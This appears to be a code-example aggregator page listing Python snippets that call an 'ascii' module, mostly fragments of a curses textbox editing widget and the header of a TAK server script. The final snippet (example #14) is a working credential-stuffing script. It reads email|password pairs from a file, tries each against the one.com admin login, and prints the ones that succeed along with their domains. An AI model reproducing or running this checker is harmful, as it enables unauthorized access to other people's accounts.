示例#1
0
 def draw(self):
     for y in xrange(len(self.text)):
         if len(self.text[y]) > 0:
             self.win.addstr(y, 0, ''.join([chr(ascii.ascii(ch)) for ch in self.text[y]]))
         else:
             self.win.move(y, 0)
         self.win.clrtoeol()
示例#2
0
 def gather(self):
     tmp = [''] * len(self.text)
     # convert each line to ASCII and join to a single string
     for y in xrange(len(self.text)):
         tmp[y] = ''.join([chr(ascii.ascii(ch)) for ch in self.text[y]])
         if self.stripspaces:
             tmp[y] = tmp[y].rstrip()
     return '\n'.join(tmp)
示例#3
0
    def do_command(self, ch):
        "Process a single editing command."
        (y, x) = self.win.getyx()

        self.lastcmd = ch
        if ascii.isprint(ch):
            if y == self.maxy or x < self.maxx:
                self.win.addch(ch)
        elif ch == ascii.SOH:				# ^a
            self.win.move(y, 0)
        elif ch in (ascii.STX,curses.KEY_LEFT, ascii.BS,curses.KEY_BACKSPACE):
            if x > 0:
                self.win.move(y, x-1)
            elif y == 0:
                pass
            elif self.stripspaces:
                self.win.move(y-1, self._end_of_line(y-1))
            else:
                self.win.move(y-1, self.maxx)
            if ch in (ascii.BS, curses.KEY_BACKSPACE):
                self.win.delch()
        elif ch == ascii.EOT or ch == ascii.LF:				# ^d or line feed
            return 0
            #self.win.delch()
        elif ch == ascii.ENQ:				# ^e
            if self.stripspaces:
                self.win.move(y, self._end_of_line(y))
            else:
                self.win.move(y, self.maxx)
        elif ch in (ascii.ACK, curses.KEY_RIGHT):	# ^f
            if x < self.maxx:
                self.win.move(y, x+1)
            else:
                self.win.move(y+1, 0)
        #elif ch == ascii.VT:				# ^k
        #    if x == 0 and self._end_of_line(y) == 0:
        #        self.win.deleteln()
        #    else:
        #        self.win.clrtoeol()
        #elif ch == ascii.FF:				# ^l
        #    self.win.refresh()
        #elif ch in (ascii.SO, curses.KEY_DOWN):		# ^n
        #    if y < self.maxy:
        #        self.win.move(y+1, x)
        #        if x > self._end_of_line(y+1):
        #            self.win.move(y+1, self._end_of_line(y+1))
        #elif ch == ascii.SI:				# ^o
        #    self.win.insertln()
        #elif ch in (ascii.DLE, curses.KEY_UP):		# ^p
        #    if y > 0:
        #        self.win.move(y-1, x)
        #        if x > self._end_of_line(y-1):
        #            self.win.move(y-1, self._end_of_line(y-1))
        if x == 0 and chr(ascii.ascii(ch)) in CommandInterpreter.oneoff:
          return 0
        return 1
 def _end_of_line(self, y):
     "Go to the location of the first blank on the given line."
     last = self.maxx
     while 1:
         if ascii.ascii(self.win.inch(y, last)) != ascii.SP:
             last = last + 1
             break
         elif last == 0:
             break
         last = last - 1
     return last
示例#5
0
 def firstblank(self, y):
     "Go to the location of the first blank on the given line."
     last = self.maxx
     while 1:
         if ascii.ascii(self.win.inch(y, last)) != ascii.SP:
             last = last + 1
             break
         elif last == 0:
             break
         last = last - 1
     return last
示例#6
0
 def gather(self):
     "Collect and return the contents of the command line."
     result = ""
     self.win.move(self.maxy, 0)
     stop = self._end_of_line(self.maxy)
     #sys.stderr.write("y=%d, _end_of_line(y)=%d\n" % (y, stop))
     if stop == 0 and self.stripspaces:
         return result
     for x in range(self.maxx+1):
         if self.stripspaces and x == stop:
             break
         result = result + chr(ascii.ascii(self.win.inch(self.maxy, x)))
     return result
 def gather(self):
     "Collect and return the contents of the window."
     result = ""
     for y in range(self.maxy + 1):
         self.win.move(y, 0)
         stop = self._end_of_line(y)
         if stop == 0 and self.stripspaces:
             continue
         for x in range(self.maxx + 1):
             if self.stripspaces and x == stop:
                 break
             result = result + chr(ascii.ascii(self.win.inch(y, x)))
         if self.maxy > 0:
             result = result + "\n"
     return result
示例#8
0
文件: textpad.py 项目: ALT-F4/Expleo
 def gather(self):
     "Collect and return the contents of the window."
     result = ""
     for y in range(self.maxy+1):
         self.win.move(y, 0)
         stop = self._end_of_line(y)
         if stop == 0 and self.stripspaces:
             continue
         for x in range(self.maxx+1):
             if self.stripspaces and x > stop:
                 break
             result = result + chr(ascii.ascii(self.win.inch(y, x)))
         if self.maxy > 0:
             result = result + "\n"
     return result
示例#9
0
 def gather(self):
     "Collect and return the contents of the window."
     result = ""
     for y in range(self.maxy+1):
         self.win.move(y, 0)
         stop = self.firstblank(y)
         #sys.stderr.write("y=%d, firstblank(y)=%d\n" % (y, stop))
         if stop == 0 and self.stripspaces:
             continue
         for x in range(self.maxx+1):
             if self.stripspaces and x == stop:
                 break
             result = result + chr(ascii.ascii(self.win.inch(y, x)))
         if self.maxy > 0:
             result = result + "\n"
     return result
示例#10
0
 def gather(self):
     "Collect and return the contents of the window."
     result = ""
     for y in range(self.maxy + 1):
         self.win.move(y, 0)
         stop = self.firstblank(y)
         #sys.stderr.write("y=%d, firstblank(y)=%d\n" % (y, stop))
         if stop == 0 and self.stripspaces:
             continue
         for x in range(self.maxx + 1):
             if self.stripspaces and x == stop:
                 break
             result = result + chr(ascii.ascii(self.win.inch(y, x)))
         if self.maxy > 0:
             result = result + "\n"
     return result
示例#11
0
文件: server.py 项目: ConorBeh/TAKlib
#######################################################
#
# TAKFreeServer.py
# Original author: naman108
# This code is Open Source, made available under the EPL 2.0 license.
# https://www.eclipse.org/legal/eplfaq.php
# credit to Harshini73 for base code
#
#######################################################
import sys
import os
from ascii import ascii
ascii()

PACKAGE_PARENT = '..'
SCRIPT_DIR = os.path.dirname(
    os.path.realpath(os.path.join(os.getcwd(), os.path.expanduser(__file__))))
sys.path.append(os.path.normpath(os.path.join(SCRIPT_DIR, PACKAGE_PARENT)))
import socket
import threading
import argparse
import logging
import time
import xml.etree.ElementTree as ET
import TAKWinService.constants as constants
import logging
from Controllers.serializer import Serializer
from Controllers.RequestCOTController import RequestCOTController
import multiprocessing as multi
const = constants.vars()
''' Server class '''
示例#12
0
"""Simple textbox editing widget with Emacs-like keybindings."""
示例#13
0
 def do_command(self, ch):
     "Process a single editing command."
     (y, x) = self.win.getyx()
     self.lastcmd = ch
     if ascii.isprint(ch):
         if y < self.maxy or x < self.maxx:
             # The try-catch ignores the error we trigger from some curses
             # versions by trying to write into the lowest-rightmost spot
             # in the window.
             try:
                 self.text_insert(y, x, ch)
                 self.win.addstr(y, 0, ''.join([chr(ascii.ascii(ch)) for ch in self.text[y]]))
                 self.win.move(y, x+1)
             except curses.error:
                 pass
     elif ch == ascii.SOH:                           # ^a
         self.win.move(y, 0)
     elif ch in (ascii.STX,curses.KEY_LEFT, ascii.BS, curses.KEY_BACKSPACE):
         if x > 0:
             self.win.move(y, x-1)
         elif y == 0:
             pass
         elif self.stripspaces:
             self.win.move(y-1, self._end_of_line(y-1))
         else:
             self.win.move(y-1, self.maxx)
         if ch in (ascii.BS, curses.KEY_BACKSPACE):
             self.win.delch()
             y, x = self.win.getyx()
             self.text_delete(y, x)
     elif ch == ascii.EOT:                           # ^d
         self.win.delch()
         self.text_delete(y, x)
     elif ch == ascii.ENQ:                           # ^e
         if self.stripspaces:
             self.win.move(y, self._end_of_line(y))
         else:
             self.win.move(y, self.maxx)
     elif ch in (ascii.ACK, curses.KEY_RIGHT):       # ^f
         if x < self.maxx:
             self.win.move(y, x+1)
         elif y == self.maxy:
             pass
         else:
             self.win.move(y+1, 0)
     elif ch == ascii.BEL:                           # ^g
         return True
     elif ch in (ascii.NL, ascii.CR):                # ^j ^m
         if self.maxy == 0:
             return True
         elif y < self.maxy:
             self.win.move(y+1, 0)
     elif ch == ascii.VT:                            # ^k
         if x == 0 and self._end_of_line(y) == 0:
             self.win.deleteln()
             self.text_delete_line(y)
         else:
             # first undo the effect of self._end_of_line
             self.win.move(y, x)
             self.win.clrtoeol()
             self.text_delete_line(y, x)
     elif ch == ascii.FF:                            # ^l
         self.win.refresh()
     elif ch in (ascii.SO, curses.KEY_DOWN):         # ^n
         if y < self.maxy:
             self.win.move(y+1, x)
             if x > self._end_of_line(y+1):
                 self.win.move(y+1, self._end_of_line(y+1))
     elif ch == ascii.SI:                            # ^o
         self.win.insertln()
         self.text_insert_line(y)
     elif ch in (ascii.DLE, curses.KEY_UP):          # ^p
         if y > 0:
             self.win.move(y-1, x)
             if x > self._end_of_line(y-1):
                 self.win.move(y-1, self._end_of_line(y-1))
     return False
示例#14
0
# -*- coding:utf-8 -*-

## Imports
import requests, re
import ascii

arq = open('./db.txt', 'r')
arq2 = arq.readlines()
for item in arq2:
    try:
        email = item.split('|', 1)[0]
        senha = item.split('|', 1)[1]
        senha2 = senha.replace('\n', '')
        a = requests.post('https://www.one.com/admin/login.do?loginDomain=true&displayUsername={}&username={}&targetDomain=&password1={}&loginTarget='.format(ascii.ascii(email), ascii.ascii(email), ascii.ascii(senha2)))
        b = a.text
        c = re.search('<title>Control Panel Login</title>', b)
        if c == None:
            domain = re.search('<h3 id="adminCurrentDomain">[\w\d.*]+', b)
            domain = domain.group().split('>', 1)[1]
            print("Aprovado >> Email: {} | Senha: {} | Dominio: {}".format(email, senha2, domain))
        else:
            print("Reprovado >> {} | {}".format(email, senha2))
    except:
        print("\nAcabou de Testar!")
        break